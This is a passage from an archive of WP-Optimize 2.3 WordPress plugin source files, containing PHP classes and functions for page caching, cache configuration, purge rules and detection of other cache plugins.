			$enabled = WPO_Page_Cache::instance()->enable(true);
		}

		if (is_wp_error($enabled)) {
			// disable everything, to avoid half enabled things
			WPO_Page_Cache::instance()->disable();
			// deactivate the setting
			$data['cache-settings']['enable_page_caching'] = null;
			$return['error'] = array(
				'code' => $enabled->get_error_code(),
				'message' => $enabled->get_error_message()
			);
		}
		
		$skip_if_no_file_yet = (!$enabled || is_wp_error($enabled));
		$save_settings_result = WPO_Cache_Config::instance()->update($data['cache-settings'], $skip_if_no_file_yet);

		if ($save_settings_result) {
			WP_Optimize_Page_Cache_Preloader::instance()->cache_settings_updated($data['cache-settings'], $previous_settings);
		}

		$return['result'] = $save_settings_result;
		$return['enabled'] = !empty($data['cache-settings']['enable_page_caching']);

		if (is_wp_error($enabled) && WPO_Page_Cache::instance()->advanced_cache_file_writing_error) {
			$return['advanced_cache_file_writing_error'] = true;
			$return['advanced_cache_file_content'] = WPO_Page_Cache::instance()->advanced_cache_file_content;
		}

		return $return;

	}

	/**
	 * Get information about current cache status. Used in cli commands.
	 *
	 * @return array
	 */
	public function get_status_info() {
		$status = array();

		$settings = WPO_Cache_Config::instance()->get();
		$status[] = $settings['enable_page_caching'] ? __('Caching is enabled', 'wp-optimize') : __('Caching is disabled', 'wp-optimize');

		$preloader_status = WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
		$status[] = sprintf(__('Current cache size: %s', 'wp-optimize'), $preloader_status['size']);
		$status[] = sprintf(__('Number of files: %s', 'wp-optimize'), $preloader_status['file_count']);

		if (array_key_exists('message', $preloader_status)) $status[] = $preloader_status['message'];

		$status['message'] = join(PHP_EOL, $status);

		return $status;
	}

	/**
	 * Enable cache.
	 */
	public function enable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = true;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Disable cache.
	 */
	public function disable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = false;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Purge WP-Optimize page cache.
	 *
	 * @return array
	 */
	public function purge_page_cache() {
		$purged = WP_Optimize()->get_page_cache()->purge();
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();
		$wpo_page_cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		$response = array(
			'success' => $purged,
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count'],
		);

		// if scheduled preload enabled then reschedule and run preloader.
		if ($wpo_page_cache_preloader->is_scheduled_preload_enabled()) {
			// cancel preload and reschedule preload action.
			$wpo_page_cache_preloader->cancel_preload();
			$wpo_page_cache_preloader->reschedule_preload();

			// run preloader.
			$wpo_page_cache_preloader->run('scheduled', $response);
		}

		if ($response['success']) {
			$response['message'] = __('Page cache purged successfully', 'wp-optimize');
		}

		return $response;
	}

	/**
	 * Run cache preload (for wp-cli).
	 *
	 * @return array|bool
	 */
	public function run_cache_preload_cli() {
		global $wpdb;

		if (!(defined('WP_CLI') && WP_CLI)) return false;

		// define WPO_ADVANCED_CACHE constant as WP-CLI doesn't load advanced-cache.php file
		// but we check this constant value wen detecting status of cache
		if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);
		// don't interrupt queue processing
		add_filter('updraft_interrupt_tasks_queue_load-url-task', '__return_false', 99);

		// if preloading is running then exit.
		if (WP_Optimize_Page_Cache_Preloader::instance()->is_busy()) {
			return array(
				'success' => false,
				'error' => __('Preloading is currently running in another process.', 'wp-optimize'),
			);
		}

		// set default response.
		$response = array(
			'success' => true,
			'message' => __('All URLs were preloaded into cache successfully', 'wp-optimize'),
		);

		WP_CLI::log(__('Preloading URLs into cache...', 'wp-optimize'));

		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual', $response);
	}

	/**
	 * Run cache preload action.
	 *
	 * @return void|array - Doesn't return anything if run() is successfull (Run() prints a JSON object and closed browser connection) or an array if failed.
	 */
	public function run_cache_preload() {
		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual');
	}

	/**
	 * Cancel cache preload action.
	 *
	 * @return array
	 */
	public function cancel_cache_preload() {
		WP_Optimize_Page_Cache_Preloader::instance()->cancel_preload();
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Get status of cache preload.
	 *
	 * @return array
	 */
	public function get_cache_preload_status() {
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Enable or disable browser cache.
	 *
	 * @param array $params - ['browser_cache_expire' => '1 month 15 days 2 hours' || '' - for disable cache]
	 * @return array
	 */
	public function enable_browser_cache($params) {
		return WP_Optimize()->get_browser_cache()->enable_browser_cache_command_handler($params);
	}

	/**
	 * Format save_cache_settings() result for displaying in WP-CLI console
	 *
	 * @param array $response
	 * @return array
	 */
	private function format_save_cache_settings_response($response) {
		$result = array(
			'success' => $response['result'],
		);

		if (isset($response['error'])) {
			$result['success'] = false;
			$result['error'] = $response['error']['message'];
		}

		if ($result['success']) {
			$result['message'] = __('Page cache settings updated successfully.', 'wp-optimize');
		}

		return $result;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/000755 000000 000000 00000000000 14214670220 025170 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/000755 000000 000000 00000000000 14214670220 026233 5ustar00rootwheel000000 000000 wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/file-based-page-cache-functions.php000644 000000 000000 00000030077 13477736574 034701 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Holds utility functions used by file based cache
 */

/**
 * Cache output before it goes to the browser
 *
 * @param  string $buffer Page HTML.
 * @param  int    $flags  OB flags to be passed through.
 * @return string
 */
function wpo_cache($buffer, $flags) {
	global $post;

	if (strlen($buffer) < 255) {
		return $buffer;
	}

	// Don't cache pages for logged in users.
	if (is_user_logged_in()) {
		return $buffer;
	}

	// Don't cache search, 404, or password protected.
	if (is_404() || is_search() || !empty($post->post_password)) {
		return $buffer;
	}

	// No root cache folder, so short-circuit here
	if (!file_exists(WPO_CACHE_DIR)) return $buffer;

	// Try creating a folder for cached files, if it was flushed recently
	if (!file_exists(WPO_CACHE_FILES_DIR)) {
		if (!mkdir(WPO_CACHE_FILES_DIR)) {
			// Can not cache!
			return $buffer;
		}
	}

	$can_cache_page = apply_filters('wpo_can_cache_page', true, $buffer, $flags);

	if (!$can_cache_page) return $buffer;

	$buffer = apply_filters('wpo_pre_cache_buffer', $buffer, $flags);

	$url_path = wpo_get_url_path();

	$dirs = explode('/', $url_path);

	$path = WPO_CACHE_FILES_DIR;

	foreach ($dirs as $dir) {
		if (!empty($dir)) {
			$path .= '/' . $dir;

			if (!file_exists($path)) {
				if (!mkdir($path)) {
					// Can not cache!
					return $buffer;
				}
			}
		}
	}

	// Prevent mixed content when there's an http request but the site URL uses https.
	$home_url = get_home_url();

	if (!is_ssl() && 'https' === strtolower(parse_url($home_url, PHP_URL_SCHEME))) {
		$https_home_url = $home_url;
		$http_home_url  = str_ireplace('https://', 'http://', $https_home_url);
		$buffer		 = str_replace(esc_url($http_home_url), esc_url($https_home_url), $buffer);
	}

	if (preg_match('#</html>#i', $buffer)) {
		if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
			$buffer .= "\n<!-- Cached by WP Optimize for mobile devices - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
		} else {
			$buffer .= "\n<!-- Cached by WP Optimize - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
		}
	}

	/**
	 * Save $buffer into cache file.
	 */
	$cache_filename = wpo_cache_filename();
	$cache_file = $path . '/' .$cache_filename;

	$contents = wpo_cache_gzip_enabled() ? gzencode($buffer, apply_filters('wpo_cache_gzip_level', 6)) : $buffer;
	$modified_time = time(); // Take this as soon before writing as possible

	file_put_contents($cache_file, $contents);

	header('Cache-Control: no-cache'); // Check back every time to see if re-download is necessary.
	header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');

	if (function_exists('ob_gzhandler') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
		return ob_gzhandler($buffer, $flags);
	} else {
		return $buffer;
	}
}

/**
 * Load files for support plugins.
 */
function wpo_cache_load_extensions() {
	$extensions = glob(WPO_CACHE_EXT_DIR . '/*.php');

	if (empty($extensions)) return;

	foreach ($extensions as $extension) {
		if (is_file($extension)) require_once $extension;
	}
}

/**
 * Get filename for store cache, depending on gzip, mobile and cookie settings.
 *
 * @param string $ext
 * @return string
 */
function wpo_cache_filename($ext = '.html') {
	$filename = 'index';

	if (wpo_cache_gzip_enabled()) {
		$ext .= '.gz';
	}

	if (wpo_cache_mobile_caching_enabled() && wpo_is_mobile()) {
		$filename = 'mobile.' . $filename;
	}

	$cookies = wpo_cache_cookies();

	$cache_key = '';

	/**
	 * Add cookie values to filename if need.
	 */
	if (!empty($cookies)) {
		foreach ($cookies as $key => $cookie_name) {
			if (is_array($cookie_name) && isset($_COOKIE[$key])) {
				foreach ($cookie_name as $cookie_key) {
					if (isset($_COOKIE[$key][$cookie_key]) && '' !== $_COOKIE[$key][$cookie_key]) {
						$_cache_key = $cookie_key.'='.$_COOKIE[$key][$cookie_key];
						$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
						$cache_key .= '-' . $_cache_key;
					}
				}
				continue;
			}

			if (isset($_COOKIE[$cookie_name]) && '' !== $_COOKIE[$cookie_name]) {
				$_cache_key = $cookie_name.'='.$_COOKIE[$cookie_name];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
			}
		}
	}

	$query_variables = wpo_cache_query_variables();

	/**
	 * Add GET variables to cache file name if need.
	 */
	if (!empty($query_variables)) {
		foreach ($query_variables as $variable) {
			if (isset($_GET[$variable]) && !empty($_GET[$variable])) {
				$_cache_key = $variable.'='.$_GET[$variable];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
			}
		}
	}

	// add hash of queried cookies and variables to cache file name.
	if ('' !== $cache_key) {
		$filename .= '-' . md5($cache_key);
	}

	return $filename . $ext;
}

/**
 * Returns site url from site_url() function or if it is not available from cache configuration.
 */
function wpo_site_url() {
	if (is_callable('site_url')) return site_url('/');

	$site_url = empty($GLOBALS['wpo_cache_config']['site_url']) ? '' : $GLOBALS['wpo_cache_config']['site_url'];
	return $site_url;
}

/**
 * Get cookie names which impact on cache file name.
 *
 * @return array
 */
function wpo_cache_cookies() {
	$cookies = empty($GLOBALS['wpo_cache_config']['wpo_cache_cookies']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_cookies'];
	return $cookies;
}

/**
 * Get GET variable names which impact on cache file name.
 *
 * @return array
 */
function wpo_cache_query_variables() {
	if (defined('WPO_CACHE_URL_PARAMS') && WPO_CACHE_URL_PARAMS) {
		$variables = array_keys($_GET);
	} else {
		$variables = empty($GLOBALS['wpo_cache_config']['wpo_cache_query_variables']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_query_variables'];
	}

	if (!empty($variables)) {
		sort($variables);
	}

	return $variables;
}

/**
 * Check if gzip setting is set and available.
 *
 * @return bool
 */
function wpo_cache_gzip_enabled() {
	if (!empty($GLOBALS['wpo_cache_config']['enable_gzip_compression']) && function_exists('gzencode')) return true;
	return false;
}

/**
 * Check if mobile cache is enabled and current request is from moblile device.
 *
 * @return bool
 */
function wpo_cache_mobile_caching_enabled() {
	if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching'])) return true;
	return false;
}

/**
 * Serves the cache and exits
 */
function wpo_serve_cache() {

	$file_name = wpo_cache_filename();

	$path = WPO_CACHE_FILES_DIR . '/' . rtrim(wpo_get_url_path(), '/') . '/' . $file_name;

	$modified_time = file_exists($path) ? (int) filemtime($path) : time();

	// Cache has expired, purge and exit.
	if (!empty($GLOBALS['wpo_cache_config']['page_cache_length'])) {
		if (time() > ($GLOBALS['wpo_cache_config']['page_cache_length'] + $modified_time)) {
			wpo_delete_files($path);
			return;
		}
	}

	header('Cache-Control: no-cache'); // Check back in an hour.

	if (!empty($modified_time) && !empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) === $modified_time) {
		if (function_exists('gzencode') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
			header('Content-Encoding: gzip');
		}

		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		exit;
	}

	if (file_exists($path) && is_readable($path)) {
		if (function_exists('gzencode') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
			header('Content-Encoding: gzip');
		}

		readfile($path);

		exit;
	}
}

/**
 * Clears the cache
 */
function wpo_cache_flush() {

	wpo_delete_files(WPO_CACHE_FILES_DIR);

	if (function_exists('wp_cache_flush')) {
		wp_cache_flush();
	}

	do_action('wpo_cache_flush');
}

/**
 * Get URL path for caching
 *
 * @since  1.0
 * @return string
 */
function wpo_get_url_path() {
	$url_parts = parse_url(wpo_current_url());

	if (!isset($url_parts['path'])) $url_parts['path'] = '';

	return $url_parts['host'].'/'.$url_parts['path'];
}

/**
 * Get requested url.
 *
 * @return string
 */
function wpo_current_url() {
	return rtrim('http' . ((isset($_SERVER['HTTPS']) && ('on' == $_SERVER['HTTPS'] || 1 == $_SERVER['HTTPS']) ||
			isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) ? 's' : '' )
		. '://' . "{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}", '/');
}

/**
 * Return true of exception url matches current url
 *
 * @param  string $exception Exceptions to check URL against.
 * @param  bool   $regex	 Whether to check with regex or not.
 * @return bool   true if matched, false otherwise
 */
function wpo_current_url_exception_match($exception) {

	return wpo_url_exception_match(wpo_current_url(), $exception);
}

/**
 * Check if url string match with exception.
 *
 * @param string $url       - complete url string i.e. http(s):://domain/path
 * @param string $exception - complete url or absolute path, can consist (.*) wildcards
 *
 * @return bool
 */
function wpo_url_exception_match($url, $exception) {
	if (preg_match('#^[\s]*$#', $exception)) {
		return false;
	}

	$exception = str_replace('*', '.*', $exception);

	$exception = trim($exception);

	// used to test websites placed in subdirectories.
	$sub_dir = '';

	// if exception defined from root i.e. /page1 then remove domain part in url.
	if (preg_match('/^\//', $exception)) {
		// get site sub directory.
		$sub_dir = preg_replace('#^(http|https):\/\/.*\/#Ui', '', wpo_site_url());
		// add prefix slash and remove slash.
		$sub_dir = ('' == $sub_dir) ? '' : '/' . rtrim($sub_dir, '/');
		// get relative path
		$url = preg_replace('#^(http|https):\/\/.*\/#Ui', '/', $url);
	}

	$url = rtrim($url, '/') . '/';
	$exception = rtrim($exception, '/');

	// if we have no wildcat in the end of exception then add slash.
	if (!preg_match('#\(\.\*\)$#', $exception)) $exception .= '/';

	$exception = str_replace('/', '\/', $exception);

	return preg_match('#^'.$exception.'$#i', $url) || preg_match('#^'.$sub_dir.$exception.'$#i', $url);
}

/**
 * Checks if its a mobile device
 *
 * @see https://developer.wordpress.org/reference/functions/wp_is_mobile/
 */
function wpo_is_mobile() {
	if (empty($_SERVER['HTTP_USER_AGENT'])) {
		$is_mobile = false;
	// many mobile devices (all iPhone, iPad, etc.)
	} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false
	) {
		$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	return $is_mobile;
}

/**
 * Check if current browser agent is not disabled in options.
 *
 * @return bool
 */
function wpo_is_accepted_user_agent($user_agent) {

	$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_browser_agents']) ? $GLOBALS['wpo_cache_config']['cache_exception_browser_agents'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_browser_agents']);

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {
			if ('' == trim($exception)) continue;

			if (preg_match('#'.$exception.'#i', $user_agent)) return false;
		}
	}

	return true;
}

/**
 * Delete function that deals with directories recursively
 *
 * @param string $src path of the folder
 *
 * @return bool
 */
function wpo_delete_files($src) {
	if (!file_exists($src)) {
		return true;
	}

	if (is_file($src)) {
		return unlink($src);
	}

	$success = true;

	$dir = opendir($src);
	$file = readdir($dir);

	while (false !== $file) {
		if (('.' != $file) && ('..' != $file)) {
			if (is_dir($src . '/' . $file)) {
				if (!wpo_delete_files($src . '/' . $file)) {
					$success = false;
				}
			} else {
				if (!unlink($src . '/' . $file)) {
					$success = false;
				}
			}
		}

		$file = readdir($dir);
	}

	closedir($dir);
	rmdir($src);

	return $success;
}
cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/class-wpo-cache-rules.php000644 000000 000000 00000007002 13477736574 033075 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Page caching rules and exceptions
 */

if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (!class_exists('WPO_Cache_Rules')) :

class WPO_Cache_Rules {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	public function __construct() {
		$this->config = WPO_Cache_Config::instance()->get();
		$this->setup_hooks();
	}

	/**
	 * Setup hooks/filters
	 */
	public function setup_hooks() {
		add_action('pre_post_update', array($this, 'purge_post_on_update'), 10, 1);
		add_action('save_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('wp_trash_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('wp_set_comment_status', array($this, 'purge_post_on_comment_status_change'), 10);
		add_action('set_comment_cookies', array($this, 'set_comment_cookie_exceptions'), 10);
	}

	/**
	 * When user posts a comment, set a cookie so we don't show them page cache
	 *
	 * @param WP_Comment $comment Comment to check.
	 */
	public function set_comment_cookie_exceptions($comment) {
	
		if (empty($this->config['enable_page_caching'])) return;
		
		$path = $this->get_post_path($comment->comment_post_ID);

		$this->purge_from_cache($path);
	}
		
	/**
	 * Purge files for a particular path from the cache
	 *
	 * @param String $path - the path
	 */
	public function purge_from_cache($path) {
		WPO_Page_Cache::delete(untrailingslashit($path) . '/index.html');
		WPO_Page_Cache::delete(untrailingslashit($path) . '/index.gzip.html');

		if (!empty($this->config['enable_mobile_caching'])) {
			WPO_Page_Cache::delete(untrailingslashit($path) . '/mobile.index.html');
			WPO_Page_Cache::delete(untrailingslashit($path) . '/mobile.index.gzip.html');
		}
	}
		

	/**
	 * Get the cache path for a given post
	 *
	 * @param Integer $post_id - WP post ID
	 *
	 * @return String
	 */
	private function get_post_path($post_id) {
		return WPO_CACHE_DIR . preg_replace('#^https?://#i', '', get_permalink($post_id));
	}
	
	/**
	 * Every time a comment's status changes, purge it's parent posts cache
	 *
	 * @param Integer $comment_id Comment ID.
	 */
	public function purge_post_on_comment_status_change($comment_id) {

		if (empty($this->config['enable_page_caching'])) return;
		
		$comment = get_comment($comment_id);

		$path = $this->get_post_path($comment->comment_post_ID);

		$this->purge_from_cache($path);
		
	}

	/**
	 * Automatically purge all file based page cache on post changes
	 * We want the whole cache purged here as different parts
	 * of the site could potentially change on post updates
	 *
	 * @param Integer $post_id - WP post id
	 */
	public function purge_post_on_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		} elseif (!current_user_can('edit_post', $post_id) && (!defined('DOING_CRON') || !DOING_CRON)) {
			return;
		}

		$this->purge_cache();
	}

	/**
	 * Clears the cache.
	 */
	public function purge_cache() {
		if (!empty($this->config['enable_page_caching'])) {
			wpo_cache_flush();
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/class-wpo-cache-config.php000644 000000 000000 00000012464 13477736574 033220 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Handles cache configuration and related I/O
 */

if (!class_exists('WPO_Cache_Config')) :

class WPO_Cache_Config {

	/**
	 * Defaults
	 *
	 * @var array
	 */
	public $defaults;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set config defaults
	 */
	public function __construct() {
		$this->defaults = $this->get_defaults();
	}

	/**
	 * Get config from file or cache
	 *
	 * @return array
	 */
	public function get() {

		if (is_multisite()) {
			$config = get_site_option('wpo_cache_config', $this->get_defaults());
		} else {
			$config = get_option('wpo_cache_config', $this->get_defaults());
		}

		return wp_parse_args($config, $this->get_defaults());
	}

	/**
	 * Get a specific configuration option
	 *
	 * @param string  $option_key The option identifier
	 * @param boolean $default    Default value if the option doesn't exist (Default to false)
	 * @return mixed
	 */
	public function get_option($option_key, $default = false) {
		$options = $this->get();
		return isset($options[$option_key]) ? $options[$option_key] : $default;
	}

	/**
	 * Updates the given config object in file and DB
	 *
	 * @param  array $config - the cache configuration
	 * @return bool
	 */
	public function update($config) {
		$config = wp_parse_args($config, $this->get_defaults());

		$cache_length_units = array(
			'hours' => 3600,
			'days' => 86400,
			'months' => 2629800, // 365.25 * 86400 / 12
		);

		$config['page_cache_length'] = $config['page_cache_length_value'] * $cache_length_units[$config['page_cache_length_unit']];

		$cookies = array();
		$wpo_cache_cookies = apply_filters('wpo_cache_cookies', $cookies);
		sort($wpo_cache_cookies);

		$wpo_query_variables = array();
		$wpo_query_variables = apply_filters('wpo_cache_query_variables', $wpo_query_variables);
		sort($wpo_query_variables);

		$config['wpo_cache_cookies'] = $wpo_cache_cookies;
		$config['wpo_cache_query_variables'] = $wpo_query_variables;

		if (is_multisite()) {
			update_site_option('wpo_cache_config', $config);
		} else {
			update_option('wpo_cache_config', $config);
		}

		return $this->write($config);
	}

	/**
	 * Deletes config files and options
	 *
	 * @return bool
	 */
	public function delete() {

		if (is_multisite()) {
			delete_site_option('wpo_cache_config');
		} else {
			delete_option('wpo_cache_config');
		}
		
		if (!WPO_Page_Cache::delete(WPO_CACHE_CONFIG_DIR)) {
			return false;
		}

		return true;
	}

	/**
	 * Writes config to file
	 *
	 * @param  array $config Configuration array.
	 * @return bool
	 */
	private function write($config) {

		$url = parse_url(site_url());

		if (isset($url['port']) && '' != $url['port']) {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].':'.$url['port'].'.php';
		} else {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'.php';
		}

		$this->config = wp_parse_args($config, $this->get_defaults());

		if (!file_put_contents($config_file, json_encode($this->config))) {
			return false;
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @since  1.0
	 * @return boolean
	 */
	public function verify_file_access() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!is_writable(ABSPATH . 'wp-config.php') && !is_writable(ABSPATH . '../wp-config.php')) {
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!$this->_is_dir_writable(untrailingslashit(WP_CONTENT_DIR))) {
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable.
		if (file_exists(untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache')) {
			
			if (file_exists(WPO_CACHE_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_DIR)) {
					return false;
				}
			}

			if (file_exists(WPO_CACHE_CONFIG_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_CONFIG_DIR)) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Return defaults
	 *
	 * @return array
	 */
	public function get_defaults() {

		// if gzip enabled then we will use gzip compression for store cache files.
		$is_gzip_compression_enabled = WP_Optimize()->get_gzip_compression()->is_gzip_compression_enabled();
		$is_gzip_compression_enabled = is_wp_error($is_gzip_compression_enabled) ? false : $is_gzip_compression_enabled;

		$defaults = array(
			'enable_page_caching'						=> false,
			'enable_gzip_compression'					=> $is_gzip_compression_enabled,
			'page_cache_length_value'					=> 24,
			'page_cache_length_unit'					=> 'hours',
			'page_cache_length'							=> 86400,
			'cache_exception_urls'						=> array(),
			'cache_exception_cookies'					=> array(),
			'cache_exception_browser_agents'			=> array(),
			'enable_sitemap_preload'					=> false,
			'enable_schedule_preload'					=> false,
			'preload_schedule_type'						=> '',
			'enable_mobile_caching'						=> false,
			'enable_user_caching'						=> false,
			'site_url'									=> site_url('/'),
		);

		return apply_filters('wpo_cache_defaults', $defaults);
	}

	/**
	 * Return an instance of the current class, create one if it doesn't exist
	 *
	 * @since  1.0
	 * @return WPO_Cache_Config
	 */
	public static function instance() {

		if (!self::$instance) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
endif;
wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/class-wpo-detect-cache-plugins.php000644 000000 000000 00000004277 13477736574 034626 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

class WP_Optimize_Detect_Cache_Plugins {

	private static $instance;

	/**
	 * WP_Optimize_Detect_Cache_Plugins constructor.
	 */
	private function __construct() {
	}

	/**
	 * Detect list of active most popular WordPress cache plugins.
	 *
	 * @return array
	 */
	public function get_active_cache_plugins() {
		// The index is the plugin's slug
		$plugins = array(
			'w3-total-cache' => 'W3 Total Cache',
			'wp-super-cache' => 'WP Super Cache',
			'wp-rocket' => 'WP Rocket',
			'wp-fastest-cache' => 'WP Fastest Cache',
			'litespeed-cache' => 'LiteSpeed Cache',
			'cache-enabler' => 'Cache Enabler',
			'comet-cache' => 'Comet Cache',
			'hummingbird-performance' => 'Hummingbird',
			'hyper-cache' => 'Hyper Cache',
		);

		$active_cache_plugins = array();

		foreach ($plugins as $plugin_slug => $plugin_title) {

			$function_name = 'is_'.str_replace('-', '_', $plugin_slug).'_plugin_active';

			if (is_callable(array($this, $function_name))) {
				if (call_user_func(array($this, $function_name))) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			} else {
				if ($this->is_plugin_active($plugin_slug)) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			}
		}

		return $active_cache_plugins;
	}

	/**
	 * Check if W3 Total Cache active.
	 *
	 * @return bool
	 */
	public function is_w3_total_cache_plugin_active() {
		return defined('W3TC_VERSION') || $this->is_plugin_active('w3-total-cache');
	}

	/**
	 * Check if WP Rocket active.
	 *
	 * @return bool
	 */
	public function is_wp_rocket_plugin_active() {
		return defined('WP_ROCKET_VERSION') || $this->is_plugin_active('wp-rocket');
	}

	/**
	 * Check if $plugin is active.
	 *
	 * @param string $plugin - plugin slug
	 *
	 * @return bool
	 */
	private function is_plugin_active($plugin) {
		$status = WP_Optimize()->get_db_info()->get_plugin_status($plugin);

		return $status['active'];
	}

	/**
	 * Instance of WP_Optimize_Detect_Cache_Plugins.
	 *
	 * @return WP_Optimize_Detect_Cache_Plugins
	 */
	static public function instance() {
		if (empty(self::$instance)) {
			self::$instance = new WP_Optimize_Detect_Cache_Plugins();
		}

		return self::$instance;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/class-cache-commands.php000644 000000 000000 00000003366 13477736574 032752 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * All cache commands that are intended to be available for calling from any sort of control interface (e.g. wp-admin, UpdraftCentral) go in here. All public methods should either return the data to be returned, or a WP_Error with associated error code, message and error data.
 */
class WP_Optimize_Cache_Commands {

	private $optimizer;

	private $options;

	/**
	 * WP_Optimize_Cache_Commands constructor.
	 */
	public function __construct() {
		$this->optimizer = WP_Optimize()->get_optimizer();
		$this->options = WP_Optimize()->get_options();
	}

	/**
	 * Save cache settings
	 *
	 * @param array $data
	 *
	 * @return array
	 */
	public function save_cache_settings($data) {

		if (!class_exists('WPO_Cache_Config')) return array(
			'result' => false,
			'message' => "WPO_Cache_Config class doesn't exist",
		);

		// disable cache.
		if (empty($data['cache-settings']['enable_page_caching'])) {
			WPO_Page_Cache::instance()->disable();
		} else {
			// we need to rebuild advanced-cache.php and add WP_CACHE to wp-config.
			WPO_Page_Cache::instance()->enable();
		}

		$save_settings_result = WPO_Cache_Config::instance()->update($data['cache-settings']);

		return array(
			'result' => $save_settings_result,
		);
	}

	/**
	 * Purge WP-Optimize page cache.
	 *
	 * @return bool
	 */
	public function purge_page_cache() {
		return WP_Optimize()->get_page_cache()->purge();
	}

	/**
	 * Enable or disable browser cache.
	 *
	 * @param array $params - ['browser_cache_expire' => '1 month 15 days 2 hours' || '' - for disable cache]
	 * @return array
	 */
	public function enable_browser_cache($params) {
